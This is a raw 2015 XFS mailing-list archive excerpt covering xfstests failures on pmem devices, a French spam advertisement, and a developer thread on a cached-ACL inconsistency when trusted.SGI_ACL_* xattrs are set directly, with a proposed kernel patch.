X-Barracuda-Start-Time: 1443825277 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23132 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 02, 2015 at 11:49:41AM -0600, Ross Zwisler wrote: > Recently I've been trying to get a stable baseline for my DAX testing using > various filesystems, and in doing so I noticed a pair of tests that were > behaving badly when run on XFS without DAX. These test failures happen in > both v4.2 and v4.3-rc3, though the signatures may vary a bit. > > My testing setup is a kvm virtual machine with 8 GiB of its 16GiB of memory > reserved for PMEM using the mmap parameter (memmap=8G!8G) and with the > CONFIG_X86_PMEM_LEGACY config option enabled. I've attached my full kernel > config to this mail. > > The first test failure is generic/299, which consistently deadlocks in the XFS > code in both v4.2 and v4.3-rc3. The stack traces presented in dmesg via "echo > w > /proc/sysrq-trigger" are consistent between these two kernel versions, and > can be found in the "generic_299.deadlock" attachment. Yes, we've recently identified a AGF locking order problem on an older kernel that this looks like. We haven't found the root cause of it yet, but it's good to know that generic/299 seems to reproduce it. I'll run that in a loop to see if I can get it to fail here... > The second test failure is xfs/083, which in v4.2 seems to fail with an XFS > assertion (I have XFS_DEBUG turned on): > > XFS: Assertion failed: fs_is_ok, file: fs/xfs/libxfs/xfs_dir2_data.c, line: 168 No surprise: $ grep 083 tests/xfs/group 083 dangerous_fuzzers $ Yup, it's expected to trigger corruptions and when a CONFIG_XFS_DEBUG=y kernel triggers a corruption warning it triggers an ASSERT failure ot allow debugging. That particular corruption is being detected in the /block validation function/ that is run to detect corruptions in directory data blocks as they are read for disk (__xfs_dir3_data_check). Any test that is not in the auto group is not expected to work reliably as a regression test. Any many are actively dangerous like this and will crash/panic machines when they hit whatever problem they were written to exercise. For regression test purposes, the test groups to run are: # check -g quick For a fast smoke test, and # check -g auto to run all the tests that should function correctly as regression tests. > In v4.3, though, this same test seems to create some random memory corruption > in XFS. I've hit at least two failure signatures that look nothing alike > except they both look like somebody corrupted memory. There's no memory corruption evident. The hexdumps are of disk buffers and, well, they've been fuzzed by the test... > [ 53.636917] run fstests xfs/083 at 2015-10-02 11:24:09 > [ 53.760098] XFS (pmem0p2): Unmounting Filesystem > [ 53.779642] XFS (pmem0p2): Mounting V4 Filesystem You're using v4 XFS filesystems. It's only valid to use CRC enabled XFS filesystems ("V5 filesystems") on pmem devices so we can detect torn sector writes correctly. I'd suggest upgrading xfsprogs to the latest (v4.2.0) as it defaults to creating CRC enabled filesystems. Cheers, Dave. -- Dave Chinner david@fromorbit.com From laura@dassult856.eu Mon Oct 5 02:18:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_REMOTE_IMAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C181E7F37 for ; Mon, 5 Oct 2015 02:18:53 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F1FEBAC002 for ; Mon, 5 Oct 2015 00:18:45 -0700 (PDT) X-ASG-Debug-ID: 1444029520-04bdf046281f8450001-NocioJ Received: from vps.hightche873.eu (vps.hightche873.eu [91.234.194.243]) by cuda.sgi.com with ESMTP id bHvWjt8UWuaGcoUE (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 05 Oct 2015 00:18:42 -0700 (PDT) X-Barracuda-Envelope-From: laura@dassult856.eu X-Barracuda-Apparent-Source-IP: 91.234.194.243 Received: from [127.0.0.1] (unknown [91.236.239.116]) (Authenticated sender: mail@dassult856.eu) by vps.hightche873.eu (Postfix) with ESMTPA id 9296C32639D8 for ; Mon, 5 Oct 2015 03:18:40 -0400 (EDT) Date: Mon, 05 Oct 2015 07:18:38 +0000 From: CABINET D ORMANE To: xfs@oss.sgi.com Reply-to: CABINET D ORMANE User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; Microsoft Outlook 15.0.4420) MIME-Version: 1.0 Subject: Recuperez votre impaye rapidement et sans aucun risque Content-Type: multipart/alternative; boundary="------------070807010705040303090503" X-ASG-Orig-Subj: Recuperez votre impaye rapidement et sans aucun risque X-Barracuda-Connect: vps.hightche873.eu[91.234.194.243] X-Barracuda-Start-Time: 1444029521 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.14 X-Barracuda-Spam-Status: No, SCORE=0.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 HTML_MESSAGE BODY: HTML included in message Message-Id: <20151005071845.9E5A1A420A4@cuda.sgi.com> This is a multi-part message in MIME format. --------------070807010705040303090503 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Voir cet email sur votre navigateur Cabinet d'Ormane - Le spécialiste du recouvrement de créances depuis 1956 Vous avez un impayé Client? Récupérez votre argent rapidement et sans aucun risque Je demande une Documentation Gratuite Spécialiste du recouvrement amiable et judiciaire depuis 1956, le Cabinet d'Ormane récupère les impayés de milliers d'entreprises et de professionnels partout en France et en Europe. Quels que soient le montant et la nature de vos impayés (factures impayées, honoraires, chèques... ), nous intervenons pour récupérer l'argent qui vous est dû. Je demande une Documentation Gratuite Efficacité prouvée Zéro risque Action ultra rapide Se désinscrire --------------070807010705040303090503 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
Cabinet d'Ormane - Le spécialiste du recouvrement de créances depuis 1956
 
Vous avez un impayé Client?

Récupérez votre argent
rapidement et sans aucun risque 
Je demande une Documentation Gratuite

Spécialiste du recouvrement amiable et judiciaire depuis 1956, le Cabinet d'Ormane récupère les impayés de milliers d'entreprises e t de professionnels partout en France et en Europe.
 

Quels que soient le montant et la nature de vos impayés (factures impayées, honoraires, chèques... ), nous intervenons pour récupérer l'argent qui vous est dû.

Je demande une Documentation Gratuite

Efficacité prouvée

 

Zéro risque

<= tr> = 3D"_pspacer4"

Pour se désabonner : Su= ivez ce lien.
Si ce message vous a causé un quelconque d&= eacute;rangement, nous vous prions de nous en excuser.

--Part1_543dae191888001970173ca6e89f9f42-- From krautus@kr916.org Sat Oct 24 00:39:08 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.8 required=5.0 tests=MIME_BASE64_TEXT, MISSING_HEADERS,TVD_FROM_1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A2E2C7F47 for ; Sat, 24 Oct 2015 00:39:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 27A18AC001 for ; Fri, 23 Oct 2015 22:39:04 -0700 (PDT) X-ASG-Debug-ID: 1445665140-04cbb0660e4ab60001-NocioJ Received: from posta3.euchiamail.it (posta3.euchiamail.it [46.30.241.112]) by cuda.sgi.com with ESMTP id kL68QVGnCQCrLzCp (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 22:39:01 -0700 (PDT) X-Barracuda-Envelope-From: krautus@kr916.org X-Barracuda-Apparent-Source-IP: 46.30.241.112 Received: from localhost (localhost [127.0.0.1]) by posta3.euchiamail.it (Postfix) with ESMTP id 12FDA7E5FA6 for ; Sat, 24 Oct 2015 07:38:57 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at posta3.euchiamail.it Received: from posta3.euchiamail.it ([127.0.0.1]) by localhost (sufferone.euchiamail.it [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id dGx3xLSuMjc8 for ; Sat, 24 Oct 2015 07:38:54 +0200 (CEST) Received: from linux (2-227-160-98.ip186.fastwebnet.it [2.227.160.98]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by posta3.euchiamail.it (Postfix) with ESMTPSA id 011A87E5FA5 for ; Sat, 24 Oct 2015 07:38:52 +0200 (CEST) Date: Sat, 24 Oct 2015 07:38:57 +0200 From: "krautus@kr916.org" Cc: Linux fs XFS Subject: Re: hdd + ssd Message-ID: <20151024073857.6a77ee5f@linux> X-ASG-Orig-Subj: Re: hdd + ssd In-Reply-To: References: <20151022202324.5f00807f@linux> <20151023134805.3c7998e4@harpe.intellique.com> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: base64 X-Barracuda-Connect: posta3.euchiamail.it[46.30.241.112] X-Barracuda-Start-Time: 1445665141 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.93 X-Barracuda-Spam-Status: No, SCORE=1.93 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA298e, MIME_BASE64_TEXT, MISSING_HEADERS X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23768 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.52 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding 0.20 BSF_SC7_SA298e Custom Rule SA298e VGhhbmsgeW91IGFsbCBmb3IgdGhlIHN1Z2dlc3Rpb25zIQ0KSSdsbCByZXBvcnQgYmFjayBteSBw cm9ncmVzcywgd2lsbCB0YWtlIGEgd2hpbGUgLi4gOikNCg0KQnllIGFuZCBoYXZlIGEgbmljZSB3 ZWVrLWVuZCwNCk1pa2UNCg0KT24gRnJpLCAyMyBPY3QgMjAxNSAyMzozNDowMCArMDIwMA0KU3Rl ZmFuIFJpbmcgPHN0ZWZhbnJpbkBnbWFpbC5jb20+IHdyb3RlOg0KDQo+IE9uIEZyaSwgT2N0IDIz LCAyMDE1IGF0IDE6NDggUE0sIEVtbWFudWVsIEZsb3JhYyA8ZWZsb3JhY0BpbnRlbGxpcXVlLmNv bT4gd3JvdGU6DQo+ID4gWU1NViwgYnV0IGhlcmUncyBteSB0YWtlOg0KPiA+DQo+ID4gICogZmxh c2hjYWNoZSBiZWluZyBhIGZhY2Vib29rIGludGVybmFsIGRldiwgcHJvYmFibHkgaXMgdGhlIG1v c3QNCj4gPiAgICBsYXJnZWx5IGRlcGxveWVkIG9uZS4gSXQncyBjbGVhcmx5IHByb2R1Y3Rpb24t cmVhZHkuDQo+ID4NCj4gPiAgKiBFbmhhbmNlSU8gd29ya3MgZmluZSBidXQgSSBoYXZlbid0IHRl c3RlZCBpdCB0aG9yb3VnaGx5LiBJdCBhZGRzIG5vDQo+ID4gICAgc2lnbmF0dXJlIHRvIHRoZSBk cml2ZXMgc28gaXQgY2FuIGJlIGFkZGVkIHRvIGV4aXN0aW5nIGZpbGVzeXN0ZW1zDQo+ID4gICAg KGZsYXNoY2FjaGUgYW5kIGJjYWNoZSBuZWVkIHJlZm9ybWF0dGluZykuIEhvd2V2ZXIgdGhhdCBt ZWFucyB0aGF0DQo+ID4gICAgYmFkIHRoaW5nIG1heSBoYXBwZW4gaWYgeW91J3JlIGNhcmVsZXNz IC0tIGl0J3MgY2xlYXJseSB0YXJnZXRlZCBhdA0KPiA+ICAgIGFsd2F5cy1vbiBzZXJ2ZXJzLg0K PiA+DQo+ID4gICogYmNhY2hlIHdvcmtzIGZpbmUgYnV0IHRoZSBsYXRlc3QgZml4ZXMgaGF2ZW4n dCBiZWVuIGJhY2twb3J0ZWQsIHNvDQo+ID4gICAgeW91IHNob3VsZCBwcm9iYWJseSB1c2UgaXQg b25seSB3aXRoIGxhdGVzdCAoNC4yLCA0LjMpIGtlcm5lbHMuIEl0J3MNCj4gPiAgICBub3QgdmVy eSBtYXR1cmUgeWV0IGJ1dCBpdCdzICpmcmlnZ2luJyBmYXN0Ki4NCj4gPg0KPiA+ICAqIGRtLWNh Y2hlIGlzIHRoZSBlYXNpZXN0IHRvIHNldC11cCB3aXRoIHRoZSBsdm1jYWNoZSBjb21tYW5kIChp ZiB5b3VyDQo+ID4gICAgZGlzdHJvIGlzIHJlY2VudCBlbm91Z2ggb2YgY291cnNlKS4gTGlrZSB2 ZXJ5IHZlcnkgZWFzeS4gSXQncw0KPiA+ICAgIHVuZm9ydHVuYXRlbHkgdGhlIHNsb3dlc3Qgb2Yg dGhlIHBhY2ssIGFwcGFyZW50bHkuIERvZXNuJ3QgbmVlZA0KPiA+ICAgIHJlZm9ybWF0dGluZyBJ RiB5b3VyIGV4aXN0aW5nIEZTIGFscmVhZHkgbGl2ZXMgaW4gYSBMVi4NCj4gDQo+IFZlcnkgZ29v ZCBzdW1tYXJ5LCB0aGFua3MhIERvIHlvdSBhbHNvIGhhcHBlbiB0byBrbm93IGlmIGFsbCBvZiB0 aGVzZQ0KPiByZXRhaW4gY2FjaGUgY29udGVudHMgYWNyb3NzIHJlYm9vdHM/DQo= From bfoster@redhat.com Sat Oct 24 07:57:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 966417F50 for ; Sat, 24 Oct 2015 07:57:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 66EDF8F8049 for ; Sat, 24 Oct 2015 05:57:03 -0700 (PDT) X-ASG-Debug-ID: 1445691421-04bdf0330c53d90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id NJZhGbegJwi3IO7l (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sat, 24 Oct 2015 05:57:02 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id B50F18EA45 for ; Sat, 24 Oct 2015 12:57:01 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9OCv110020464; Sat, 24 Oct 2015 08:57:01 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2DDEE1201AB; Sat, 24 Oct 2015 08:57:00 -0400 (EDT) Date: Sat, 24 Oct 2015 08:57:00 -0400 From: Brian Foster To: Andreas Gruenbacher Cc: xfs@oss.sgi.com Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} Message-ID: <20151024125659.GA8095@bfoster.bfoster> X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445691422 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 23, 2015 at 03:52:54PM +0200, Andreas Gruenbacher wrote: > Hello, > > The usual way of manipulating a file's POSIX ACL is through the > system.posix_acl_{access,default} xattrs. Setting > system.posix_acl_access also sets the permission bits in the file > mode. The acls are cached in inode->i_acl and inode->i_default_acl. > > On XFS, POSIX ACLs are also exposed as trusted.SGI_ACL_{FILE,DEFAULT} > xattrs in a different value format. However, setting these xattrs does > not update inode->i_{,default_}acl, and setting trusted.SGI_ACL_FILE > does not update the file mode; things can get out of sync: > It looks like the posix_acl_* values are virtual xattrs on XFS. They get translated to the SGI_ACL_* names before the acl code calls down into the xattr code. The result is cached into the inode via set_cached_acl() before the call returns. The xattr code doesn't know anything about this so I suspect this is the reason for the inconsistency. A direct xattr update just updates the data on-disk and has no knowledge of the ACLs cached to the inode, the latter of which is probably what is returned after the setxattr. > $ touch f > $ setfacl -m u:agruenba:rw f > $ ls -l f > -rw-rw-r--+ 1 root root 0 Oct 23 15:04 f > $ getfattr -m- -d f > # file: f > security.selinux="unconfined_u:object_r:user_tmp_t:s0" > system.posix_acl_access=0sAgAAAAEABgD/////AgAGAOgDAAAEAAQA/////xAABgD/////IAAEAP////8= > trusted.SGI_ACL_FILE=0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== > > $ chmod 0 f > $ setfattr -n trusted.SGI_ACL_FILE -v > 0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== > f > $ ls -l f > ----------+ 1 root root 0 Oct 23 15:04 /var/tmp/f > $ getfacl f > # file: f > # owner: root > # group: root > user::--- > user:agruenba:rw- #effective:--- > group::r-- #effective:--- > mask::--- > other::--- > $ getfattr -m- -d f > # file: f > security.selinux="unconfined_u:object_r:user_tmp_t:s0" > system.posix_acl_access=0sAgAAAAEAAAD/////AgAGAOgDAAAEAAQA/////xAAAAD/////IAAAAP////8= > trusted.SGI_ACL_FILE=0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== > > Here, the file mode and the reported value of system.posix_acl_access > are both wrong; trusted.SGI_ACL_FILE corresponds to what's stored on > disk. > > Access to trusted.* attributes is limited to users capable of > CAP_SYS_ADMIN so ordinary users cannot cause this kind of damage, but > this still deserves fixing. > Not sure there's a real use case for this, but it looks like we could invalidate the cached ACLs if those xattrs are modified directly via the xattr interface. Care to test the (compile tested only) hunk below? An alternative could be to just disallow setting these xattrs directly. Brian > Thanks, > Andreas > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index c0368151..651c2a3 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -57,7 +57,8 @@ static int xfs_xattr_set(struct dentry *dentry, const char *name, const void *value, size_t size, int flags, int xflags) { - struct xfs_inode *ip = XFS_I(d_inode(dentry)); + struct xfs_inode *ip = XFS_I(d_inode(dentry)); + int error; if (strcmp(name, "") == 0) return -EINVAL; @@ -70,8 +71,20 @@ xfs_xattr_set(struct dentry *dentry, const char *name, const void *value, if (!value) return xfs_attr_remove(ip, (unsigned char *)name, xflags); - return xfs_attr_set(ip, (unsigned char *)name, + error = xfs_attr_set(ip, (unsigned char *)name, (void *)value, size, xflags); + /* + * Invalidate any cached ACLs if the user has bypassed the ACL + * interface. + */ + if (!error && (xflags & ATTR_ROOT)) { + if (!strncmp(name, SGI_ACL_FILE, strlen(name))) + forget_cached_acl(VFS_I(ip), ACL_TYPE_ACCESS); + else if (!strncmp(name, SGI_ACL_DEFAULT, strlen(name))) + forget_cached_acl(VFS_I(ip), ACL_TYPE_DEFAULT); + } + + return error; } static const struct xattr_handler xfs_xattr_user_handler = { From agruenba@redhat.com Sat Oct 24 08:58:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 38F197F52 for ; Sat, 24 Oct 2015 08:58:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E65EC8F804B for ; Sat, 24 Oct 2015 06:58:08 -0700 (PDT) X-ASG-Debug-ID: 1445695085-04bdf0330c54d20001-NocioJ Received: from mail-lf0-f50.google.com (mail-lf0-f50.google.com [209.85.215.50]) by cuda.sgi.com with ESMTP id V1ikz80lHPfI0w6z (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sat, 24 Oct 2015 06:58:06 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.50 Received: by lfaz124 with SMTP id z124so109146295lfa.1 for ; Sat, 24 Oct 2015 06:58:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=1qYUnBeU9HpRnSN1Mqe5W0T6+WfyyRfG/JqWEH1UsNI=; b=aanQ+7erCC1r16M60KXNSn8k7U8TSp+pk5G80aSwe0E5Mc2g56SO7Yv3rzbPdVTSxG 0sjdcpCRbfhQxJ2wkKkZGXxa0QoGe6IrZy4kYGAdEmhKE1YHNZYfSmlfU1qHIyHj1UW0 gjHYx7yG2ermmY+rnWI7VxNzqYqzVj6kHA9LQieeQlSB/Q5TdtBvMZCgqXQ8oOp8a603 KDiGuDm8gnN+kY6nSB5dDilRrfIvaajfvTLOtcfKhW/xM0w964IKiiwjF8tk2hdO4Xzk FqCmuwsg64u46rtiikC9NA4BNM7AQ+PS1zzwVQ13c7wHjpG7i27v0llibfXwTUxyMCtV dp3Q== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=1qYUnBeU9HpRnSN1Mqe5W0T6+WfyyRfG/JqWEH1UsNI=; b=Ibs/Thxu9sAwoiR6vpF/OIlS9dw2KNBRIfvHWnenAGzh86uT1Qi30mEOGXR30d6p2h TD5Yhyy5OZhaUyZl7ndOx2eL5wXXg90fbXXl5ETeEaCnJHSjALQnEJrUre8w7vR5YpVc ezxPl1Gf6Tc1lqo7g32ZcJ3aXSF6ct9c9rFZHf3SX/8WWHCJMwH6vD1YTl5zsMD5rz4h OGYnhfQv1yvVLjyxoUuRstXyXHfZEFOULmyhPkS0sPe9WYOvqgmyrqqm5unQRkhXi2w9 JsGILL2/XQgVV/lvQOTrYh/cQO9J71azQZzM4IR74O8WhCUXjLtmdDbrdJrQkwkeWa+L GUsw== X-Gm-Message-State: ALoCoQkfMhXgQfwkoZuC0Lho6libAE5J1Qq4iVzX8TGqPIk9I5yEP2ltC6W4H+HsiF8N3fTFTGpN MIME-Version: 1.0 X-Received: by 10.25.41.134 with SMTP id p128mr7767564lfp.75.1445695084556; Sat, 24 Oct 2015 06:58:04 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Sat, 24 Oct 2015 06:58:04 -0700 (PDT) In-Reply-To: <20151024125659.GA8095@bfoster.bfoster> References: <20151024125659.GA8095@bfoster.bfoster> Date: Sat, 24 Oct 2015 15:58:04 +0200 Message-ID: Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} To: Brian Foster Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f50.google.com[209.85.215.50] X-Barracuda-Start-Time: 1445695085 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23777 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain On Sat, Oct 24, 2015 at 2:57 PM, Brian Foster wrote: > On Fri, Oct 23, 2015 at 03:52:54PM +0200, Andreas Gruenbacher wrote: >> Hello, >> >> The usual way of manipulating a file's POSIX ACL is through the >> system.posix_acl_{access,default} xattrs. Setting >> system.posix_acl_access also sets the permission bits in the file >> mode. The acls are cached in inode->i_acl and inode->i_default_acl. >> >> On XFS, POSIX ACLs are also exposed as trusted.SGI_ACL_{FILE,DEFAULT} >> xattrs in a different value format. However, setting these xattrs does >> not update inode->i_{,default_}acl, and setting trusted.SGI_ACL_FILE >> does not update the file mode; things can get out of sync: >> > > It looks like the posix_acl_* values are virtual xattrs on XFS. They get > translated to the SGI_ACL_* names before the acl code calls down into > the xattr code. The result is cached into the inode via set_cached_acl() > before the call returns. The posix_acl_* attributes are handled by the vfs posix_acl_*_xattr_handler handlers which talk to the filesystem using the get_acl and set_acl inode operations. We would need such handlers for SGI_ACL_*, installed before xfs_xattr_trusted_handler in xfs_xattr_handlers. > The xattr code doesn't know anything about this so I suspect this is the > reason for the inconsistency. A direct xattr update just updates the > data on-disk and has no knowledge of the ACLs cached to the inode, the > latter of which is probably what is returned after the setxattr. > >> $ touch f >> $ setfacl -m u:agruenba:rw f >> $ ls -l f >> -rw-rw-r--+ 1 root root 0 Oct 23 15:04 f >> $ getfattr -m- -d f >> # file: f >> security.selinux="unconfined_u:object_r:user_tmp_t:s0" >> system.posix_acl_access=0sAgAAAAEABgD/////AgAGAOgDAAAEAAQA/////xAABgD/////IAAEAP////8= >> trusted.SGI_ACL_FILE=0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== >> >> $ chmod 0 f >> $ setfattr -n trusted.SGI_ACL_FILE -v >> 0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== >> f >> $ ls -l f >> ----------+ 1 root root 0 Oct 23 15:04 /var/tmp/f >> $ getfacl f >> # file: f >> # owner: root >> # group: root >> user::--- >> user:agruenba:rw- #effective:--- >> group::r-- #effective:--- >> mask::--- >> other::--- >> $ getfattr -m- -d f >> # file: f >> security.selinux="unconfined_u:object_r:user_tmp_t:s0" >> system.posix_acl_access=0sAgAAAAEAAAD/////AgAGAOgDAAAEAAQA/////xAAAAD/////IAAAAP////8= >> trusted.SGI_ACL_FILE=0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== >> >> Here, the file mode and the reported value of system.posix_acl_access >> are both wrong; trusted.SGI_ACL_FILE corresponds to what's stored on >> disk. >> >> Access to trusted.* attributes is limited to users capable of >> CAP_SYS_ADMIN so ordinary users cannot cause this kind of damage, but >> this still deserves fixing. >> > > Not sure there's a real use case for this, but it looks like we could > invalidate the cached ACLs if those xattrs are modified directly via the > xattr interface. POSIX ACLs should not have been exposed twice in the first place, but those SGI_ACL_* xattrs have been around for a very long time and we cannot get rid of them now. It's likely that some applications will back up some or all of an inode's xattrs and later restore them. > Care to test the (compile tested only) hunk below? That won't update the file mode when setting a SGI_ACL_* attribute. > An alternative could be to just disallow setting these xattrs directly. Probably not because that would cause applications to fail in unexpected new ways. Thanks, Andreas From bfoster@redhat.com Sat Oct 24 10:23:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com 